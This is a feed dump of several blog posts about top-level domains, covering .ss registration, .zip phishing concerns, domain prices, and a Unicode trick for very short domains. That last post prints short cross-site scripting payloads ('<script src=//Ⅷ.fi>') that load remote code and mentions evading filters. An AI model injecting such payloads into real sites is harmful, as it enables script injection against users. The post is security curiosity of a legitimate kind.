tld – Terence Eden’s Blog https://shkspr.mobi/blog Regular nonsense about tech and its effects 🙃 Thu, 30 Oct 2025 17:02:41 +0000 en-GB hourly 1 https://wordpress.org/?v=6.9.4 https://shkspr.mobi/blog/wp-content/uploads/2023/07/cropped-avatar-32x32.jpeg tld – Terence Eden’s Blog https://shkspr.mobi/blog 32 32 <![CDATA[.ss TLD opening for direct registrations]]> https://shkspr.mobi/blog/2024/07/ss-tld-opening-for-direct-registrations/ https://shkspr.mobi/blog/2024/07/ss-tld-opening-for-direct-registrations/#respond Wed, 31 Jul 2024 11:34:05 +0000 https://shkspr.mobi/blog/?p=51212 It looks like South Sudan's Top Level Domain is going to start allowing direct registrations!

Long-time readers of this blog will know that it's possible to register .me.ss domain names - there are various other 3rd level domains you can buy.

But, from the 1st of August 2024, you'll be able to apply for a 2nd level. So you'll be able to grab example.ss.

Here's the official announcement.

National Communication Authority (NCA) ssNIC Registry Sunrise Registration Policy July 2024. 1 Duration: The Registry will run the registration process according to the below timetable: Sunrise Period: 45 Days (1st August – 15th September 2024). Landrush Period: 30 Days (20th September – 10th October 2024). Early Access Period: 10 Days (15th October – 25th October 2024). General Availability: 1st November 2024

As per normal for a new TLD, there will be a period where organisations with Trade Marks can register their domains. Then a period where anyone with sufficient cash can register their cool idea for a domain. Then it opens up to everyone.

So what will they cost? Afriregister provided these prices:

Period Domain Registration Renewal
Sunrise (2 years) .ss €1020 €110
.co.ss €610 €60
Landrush (1 year) .ss €300 €110
.co.ss €160 €60
Early Access (1 year) .ss €220 €110
.co.ss €160 €60
General (1 year) .ss €110 €110
.co.ss €60 €60

For comparison, their .me.ss domains are only €25.

Registrations will only be allowed in ASCII - which means no IDNs. The majority of the languages officially recognised in South Sudan appear to be written in the Latin script, so that shouldn't be a huge issue.

As is common with all other TLDs, there is a list of words which will not be allowed to be registered.

Applications will not be accepted for domain names appearing on the Second Level Domain (SLD) block list.

When I previously investigated this, there were lots of names which weren't available due to local politics. Although there is an archived version of the list of banned words (PDF), the modern SLD Block List appears to have vanished from the registry. I've asked them for an updated list which I'll link to once I get it.

I think it is fair to say that the .ss TLD has had a tumultuous history. There hasn't been much discussion of this change in policy since the announcement a few weeks ago - but I hope that this opening up will help South Sudanese people & businesses to establish their own distinct presence on the Internet.

]]> https://shkspr.mobi/blog/2024/07/ss-tld-opening-for-direct-registrations/feed/ 0 <![CDATA[False Friends - HTML Elements which are also Top Level Domains]]> https://shkspr.mobi/blog/2023/09/false-friends-html-elements-which-are-also-top-level-domains/ https://shkspr.mobi/blog/2023/09/false-friends-html-elements-which-are-also-top-level-domains/#comments Mon, 18 Sep 2023 11:34:25 +0000 https://shkspr.mobi/blog/?p=46823 In linguistics, a "False Friend" is a word which looks similar in multiple languages, but means something different in each of them. For example the word "gift" in English means "a present", in German means "poison", and in Norwegian it means "married".

The Internet uses Top Level Domains (TLD) to organise information into hierarchies. This website uses .mobi - you may also be familiar with .com for commercial entities, or .de for German pages.

The World Wide Web uses HyperText Markup Language (HTML) to structure web pages. For example <footer> to display a footer, or <ol> for an ordered list.

There is absolutely no relationship between the two sets of entities. But, just for fun, are there any HTML elements which happen to be false friends of the TLDs?

Before we go any further, have a quick think. How many do you reckon there are? Are there some which spring to mind immediately?

Obviously, the first port of call is AI. Its mastery of all things means that we can get an accurate answer in a nanosecond.

Me: Which TLDs have the same name as valid HTML5 elements? ChatGPT: As of my last knowledge update in September 2021, there are two top-level domains (TLDs) that have the same name as valid HTML5 elements: .dev: This TLD corresponds to the <dev> HTML5 element. .app: This TLD corresponds to the <app> HTML5 element. Please note that this information is based on the state of TLDs as of September 2021. There might have been updates or changes after that date, so it's always a good idea to check official sources or domain registrars for the most current information.

Oh.

Right, let's compare the Element Reference with the Root Zone Database.

There are fifteen current HTML elements which have a match with a TLD. And a couple which are deprecated. Here they are:

HTML TLD
🔊 <audio> .audio
🇧🇷 <br> .br
🗂 <data> .data
🇭🇷 <hr> .hr
🇱🇮 <li> .li
🔗 <link> .link
🗺 <map> .map
☰ <menu> .menu
🔎 <search> .search
👉 <select> .select
🧥 <style> .style
🇹🇩 <td> .td
🇹🇭 <th> .th
🇹🇷 <tr> .tr
📹 <video> .video

And the ones which are no longer valid HTML:

HTML TLD
🖕 <center> .center
🇹🇹 <tt> .tt

Is that more than you expected? Less? Are there others which you think should be TLDs? Should HTML get a <uk> element post-Brexit? Have I missed any?

Comments in the usual box.

]]> https://shkspr.mobi/blog/2023/09/false-friends-html-elements-which-are-also-top-level-domains/feed/ 7 <![CDATA[The new .zip TLD is going to cause some problems]]> https://shkspr.mobi/blog/2023/05/the-new-zip-tld-is-going-to-cause-some-problems/ https://shkspr.mobi/blog/2023/05/the-new-zip-tld-is-going-to-cause-some-problems/#comments Sat, 13 May 2023 11:34:42 +0000 https://shkspr.mobi/blog/?p=45766 Many years ago, Google applied for the .zip Top Level Domain. ICANN, in its infinite wisdom, granted it. And now, I think, bad things are going to happen.

You see computers try to be helpful. They see you wrote "visit example.com" and autolink the thing which looks like a domain name. That's handy - especially as most people don't have the time or skill to write HTML.

So what happens when things which are not domain names look like they are domain names? I've been worrying about this for a few years:

Right now there is an old tweet, blog, email, or instant message from an authority figure which points to a non-existent .zip domain.

people of Twitter talking about photos.zip there are lots of them.

Is that domain available to buy? Well, let's look at Google's Domain Availability site

Screenshot how exciting photos.zip is available.

(No, I don't know where the missing "T" is either.)

Yup! OK, premium domains like photos.zip appear to be about £1,000 - which should put off some scammers. But the price for non-premium .zips is between £10-£30.

Look, I doubt a former president ever Tweeted "Hey, anyone know how I extract files from something called blah.zip on a Mac?" but I'll bet you that something, somewhere, is going to be abused with this new TLD.

I feel like a curmudgeonly old fart. Don't we have enough TLDs? What's the limit? There are very few meaningful controls on who can register all but the most retrictive TLDs (looking at you, .int!) So at what point do we just give up and same everyone can have their own Top Level?

Anyway, have fun determining if the link you see was ever intended to link to a website!

]]> https://shkspr.mobi/blog/2023/05/the-new-zip-tld-is-going-to-cause-some-problems/feed/ 9 <![CDATA[What's the cheapest domain you can register for 10 years?]]> https://shkspr.mobi/blog/2022/09/whats-the-cheapest-domain-you-can-register-for-10-years/ https://shkspr.mobi/blog/2022/09/whats-the-cheapest-domain-you-can-register-for-10-years/#comments Fri, 09 Sep 2022 11:34:22 +0000 https://shkspr.mobi/blog/?p=43463 I'm concerned about the longevity of the domains I register. I want my domains to be available for as long as possible. But it seems that every year prices rise - and the discount often provided for a new domain rarely continues into subsequent years.

So I recently started renewing them for as long as possible. It turns out that most domains can be registered for a maximum of 10 years0.

A typical .uk domain will set you back the thick end of a hundred quid if you want it for a decade! Can I find something cheaper?

There are some free domain services like freenom.com. They'll give you a .ml domain for free. But you'll have to log in every year if you want to renew it. And, as I recently found out, they will sometimes just take away your free name and try to charge you for it.

Similarly, .pp.ua offers free domains to people in Ukraine. They can only be registered for a single year at a time though.

If you want a Top Level Domain which you can renew for a decade, the cheapest appears to be .feedback which costs a smidge under £13 for 10 years.

Screenshot showing £12.80 for 10 years.

But, of course, there is a catch! You have to use the .feedback website hosting service which, frankly, looks rubbish. Screenshot of a review website. It looks cheap and nasty.

It doesn't seem to be receiving any updates. I've tried contacting them to see if any improvements are planned, but didn't receive a reply. You can't set your own nameservers, nor can you add MX records or anything useful like that.

The cheapest fully functional domain which you can register for a decade appears to be .cyou from Sav.com at about £23 (US$27.60).

Screenshot showing the domain cost at sav.com.

Up next is .stream from Porkbun - you can buy a 10 year domain for ~£30 (US$35.60).

Screenshot showing the price.

As pointed out on the HackerNews discussion on this post, you can register a .in domain for 10 years for £37.

So, there you have it. For between £23 - £40 you can buy a useful domain name which will stay registered to you for a decade. If you can find anything cheaper - please let me know in the comments.

Of course, paying for hosting for a decade is a different matter!

  1. Do let me know if there are exceptions to this rule which are available to the general public. ↩︎

]]> https://shkspr.mobi/blog/2022/09/whats-the-cheapest-domain-you-can-register-for-10-years/feed/ 13 <![CDATA[Buying a single character domain - and 3 character FQDN - for £15]]> https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/ https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/#comments Sat, 15 Aug 2020 11:34:24 +0000 https://shkspr.mobi/blog/?p=36322 Short domains are useful for security testing. If you only have a limited number of characters, you need to be able to reference code on a remote server in as few characters as possible.

A few years ago, I tried to find a Minimum Viable XSS. The conclusion that I (and others) came to is that 20 characters is the bare minimum. But it requires you have a 2 character domain name on a 2-character TLD. Something like xy.uk

I don't think any 1- or 2-character domain names are available. If they're for sale, it will be at extortionate price. There are no Top-Level Domains shorter than 2 characters.

So, let's cheat!

This is the story of how I bought a single character domain, and am able to reference it in 3 characters, for the cost of a round of drinks.

Brief History

As I discussed in Domain hacks with unusual Unicode characters - there are a bunch of single Unicode codepoints which are normalised to 2- or 3-character sequences.

For example, ㎐ is the scientific symbol for Hertz. It is a single codepoint (U+3390). When your browser sees it in a domain name, it automatically splits it into the H and z characters. This is called decomposition.

Based on my count, there are about 90 symbols which decompose into 2 characters - for example ™, ㏄, dz. There are about 35 symbols which decompose into 3 characters - for example ㎪, ㍹, ffi.

But, as mentioned, it is almost impossible to find a cheap 2- or 3-letter domain name.

There are, however, a couple of four character decompositions!

Quidquid latine dictum sit, altum videtur

The Romans didn't use a positional number system. The number 1 was Ⅰ, the number 2 was Ⅱ, the number 9 was Ⅸ.

But - look closely! The Ⅰ is not the English letter I - it is its own, separate, Unicode character (U+2160). And Ⅱ is not two Ⅰs smushed together, it is (U+2161).

When decomposed, however, they return to English letters.

What's the longest Roman numeral captured in a single codepoint?

The number 8 is Ⅷ (U+2167) - which decomposes to V I I I. Four characters!

but apart from the sanitation, the medicine, education, wine, public order, irrigation, roads, a fresh water system, public health, and a number system suitable for character decomposition what have the Romans ever done for us?

tl;dr TLD

There are a number of Top-Level Domains which can also be represented by a single character.

For example, Australia's TLD .au can be represented by the Astronomical Unit sign ㍳ (U+3373).

Most of those domains were expensive, or unavailable. But I found one which was both cheap and available.

Yes! The orthographic ligature of fi decomposes to f and i. That's the TLD for Finland.

I was able to register a Finnish domain on Gandi for £15.

Ⅷ.fi🔗

That's Roman Numeral Eight (U+2167), dot (U+002E), Latin Small Ligature Fi (U+FB01).

Is this useful?

This gives me a Minimum Viable XSS in eighteen characters!

  • <script src=//Ⅷ.fi>

I'm pretty sure that's the shortest possible sequence!

Or, for loading remote resources in 15 characters:

  • <img src=//Ⅷ.fi>

There aren't many sites which are secured only by using a restricted character count - thankfully! But shrunk domains can also be useful for evading all sorts of filters.

Other domains are available

There's one other 4-character decomposition available - see if you can find it!
There are a few shrinkable TLDs which still have some of the 2- and 3-character domains available, but they are extortionately priced.

If you do grab one of these, and make something cool with it, please let me know.

Support this blog

If you've learned something from my blog posts, here's how you can return the favour:

]]> https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/feed/ 19 <![CDATA[How much would it cost to buy every domain name?]]> https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/ https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/#comments Sun, 19 May 2019 11:18:38 +0000 https://shkspr.mobi/blog/?p=32092 The ridiculous proliferation of TLDs (Top Level Domains) continues unabated. I wondered how much you'd have to spend to secure your name on every TLD.

tl;dr;tld

Over $300,000!

(Roughly €280.000 / £245,000.)

But...

This estimate is pretty rough. A few caveats:

  1. This only covers one version of your domain name - it doesn't cover misspellings.
  2. I've assumed a single year of registration. Some domains give discounts for multiple years, or only offer multi-year registration.
  3. Some TLDs have a discount for the first year.
  4. Some TLDs only let you register if you're a citizen of that country, or have a business presence there. I've assumed that you do.
  5. There are several TLDs which only let you register using a specific language for your domain - for example Chinese domains require Chinese characters. I've assumed that you're buying one of those as well.
  6. Some TLDs can't be registered - for example .gov, .mil, .int - they have been excluded.
  7. Bulk domain purchases may result in a discount. I'm using retail pricing rather than wholesale.
  8. Depending on where you live, different countries' prices and tax rates may vary considerably.

Data

It is surprisingly hard to find what the base cost is of all the domains. There are currently over 1,500 possible TLDs!

The number of domains available to register is even higher because some TLDs allow for 2nd level registration. For example, .org.uk, .co.uk, or .co.in, etc.

The Registry which controls a set of specific TLDs is more-or-less free to set any pricing policy they want. I couldn't find any official data for those policies. If you do know, please leave a comment.

Data Sources

The Registrar - the entity which sells you the domain - is free to set its own pricing. There are many retailers of domain names - let's look at some popular ones.

Cloudflare

Some, like Cloudflare promise to only charge you the wholesale cost, but refuse to tell you what the costs are unless you have a domain to transfer to them. They also only support 200 TLDs.

Google

Google supports 273 TLDs - but they do list prices for each one.

If you were to register a domain on all 273 TLDs it would cost you £8,550 per year!

Gandi

I looked at Gandi - who provide a full price list. Sadly, it is in PDF, so I had to use Tabula to extract the data. They sell 747 TLDs - from .abogado (£42) to .yt (£12).

If you bought every TLD that Gandi sell, it would cost you a whopping £92,131.08!

Fun fact: Gandi's most expensive domain is .makeup for £7,146.76.

101domains

According to TLD List, the registrar with the most TLDs offered is 101domains with 1,836 possible names!

There is an API available for 101domains pricelist! You can parse through it alphabetically using:

 <div class="activitypub-embed u-in-reply-to h-cite"> <div class="activitypub-embed-header p-author h-card"> <div class="activitypub-embed-header-text"> <h2 class="p-name"></h2> </div> </div> <div class="activitypub-embed-content"> </div> <div class="activitypub-embed-meta"> </div> </div> <style>/** * ActivityPub embed styles. */ .activitypub-embed { background: #fff; border: 1px solid #e6e6e6; border-radius: 12px; padding: 0; max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; } .activitypub-reply-block .activitypub-embed { margin: 1em 0; } .activitypub-embed-header { padding: 15px; display: flex; align-items: center; gap: 10px; } .activitypub-embed-header img { width: 48px; height: 48px; border-radius: 50%; } .activitypub-embed-header-text { flex-grow: 1; } .activitypub-embed-header-text h2 { color: #000; font-size: 15px; font-weight: 600; margin: 0; padding: 0; } .activitypub-embed-header-text .ap-account { color: #687684; font-size: 14px; text-decoration: none; } .activitypub-embed-content { padding: 0 15px 15px; } .activitypub-embed-content .ap-title { font-size: 23px; font-weight: 600; margin: 0 0 10px; padding: 0; color: #000; } .activitypub-embed-content .ap-subtitle { font-size: 15px; color: #000; margin: 0 0 15px; } .activitypub-embed-content .ap-preview { border: 1px solid #e6e6e6; border-radius: 8px; overflow: hidden; } .activitypub-embed-content .ap-preview img { width: 100%; height: auto; display: block; } .activitypub-embed-content .ap-preview-text { padding: 15px; } .activitypub-embed-meta { padding: 15px; border-top: 1px solid #e6e6e6; color: #687684; font-size: 13px; display: flex; gap: 15px; } .activitypub-embed-meta .ap-stat { display: flex; align-items: center; gap: 5px; } @media only screen and (max-width: 399px) { .activitypub-embed-meta span.ap-stat { display: none !important; } } .activitypub-embed-meta a.ap-stat { color: inherit; text-decoration: none; } .activitypub-embed-meta strong { font-weight: 600; color: #000; } .activitypub-embed-meta .ap-stat-label { color: #687684; } </style>

And grab the International Domain Names with:

 <div class="activitypub-embed u-in-reply-to h-cite"> <div class="activitypub-embed-header p-author h-card"> <div class="activitypub-embed-header-text"> <h2 class="p-name"></h2> </div> </div> <div class="activitypub-embed-content"> </div> <div class="activitypub-embed-meta"> </div> </div> <style>/** * ActivityPub embed styles. */ .activitypub-embed { background: #fff; border: 1px solid #e6e6e6; border-radius: 12px; padding: 0; max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; } .activitypub-reply-block .activitypub-embed { margin: 1em 0; } .activitypub-embed-header { padding: 15px; display: flex; align-items: center; gap: 10px; } .activitypub-embed-header img { width: 48px; height: 48px; border-radius: 50%; } .activitypub-embed-header-text { flex-grow: 1; } .activitypub-embed-header-text h2 { color: #000; font-size: 15px; font-weight: 600; margin: 0; padding: 0; } .activitypub-embed-header-text .ap-account { color: #687684; font-size: 14px; text-decoration: none; } .activitypub-embed-content { padding: 0 15px 15px; } .activitypub-embed-content .ap-title { font-size: 23px; font-weight: 600; margin: 0 0 10px; padding: 0; color: #000; } .activitypub-embed-content .ap-subtitle { font-size: 15px; color: #000; margin: 0 0 15px; } .activitypub-embed-content .ap-preview { border: 1px solid #e6e6e6; border-radius: 8px; overflow: hidden; } .activitypub-embed-content .ap-preview img { width: 100%; height: auto; display: block; } .activitypub-embed-content .ap-preview-text { padding: 15px; } .activitypub-embed-meta { padding: 15px; border-top: 1px solid #e6e6e6; color: #687684; font-size: 13px; display: flex; gap: 15px; } .activitypub-embed-meta .ap-stat { display: flex; align-items: center; gap: 5px; } @media only screen and (max-width: 399px) { .activitypub-embed-meta span.ap-stat { display: none !important; } } .activitypub-embed-meta a.ap-stat { color: inherit; text-decoration: none; } .activitypub-embed-meta strong { font-weight: 600; color: #000; } .activitypub-embed-meta .ap-stat-label { color: #687684; } </style>

Sadly, it doesn't list all domains on one call, so you have to grab each one. It only provides prices in USD.

But, when you add up all the domain names provided, the total cost to register them all would be $311,852.42!

The most expensive TLD on 101domains is .hoteles for $65,000!

What's the point?

It's unlikely that anyone would actually go ahead and do this. You'd need more money than sense if you wanted to protect your brand across every domain. It's probably cheaper to register a name once and then issue legal threats against anyone registering your name on an obscure TLD.

It costs $185,000 to own your own TLD. Plus you also have to show that you have the resources to maintain it.

That's exactly what Sony did. They bought the .xperia TLD - presumably so that they wouldn't have to register domains in every country. But, as Ben Cox pointed out, they then dropped it.

So, $185k to run your own domain - or $300k to buy your domain name everywhere. Which would you choose?

]]> https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/feed/ 1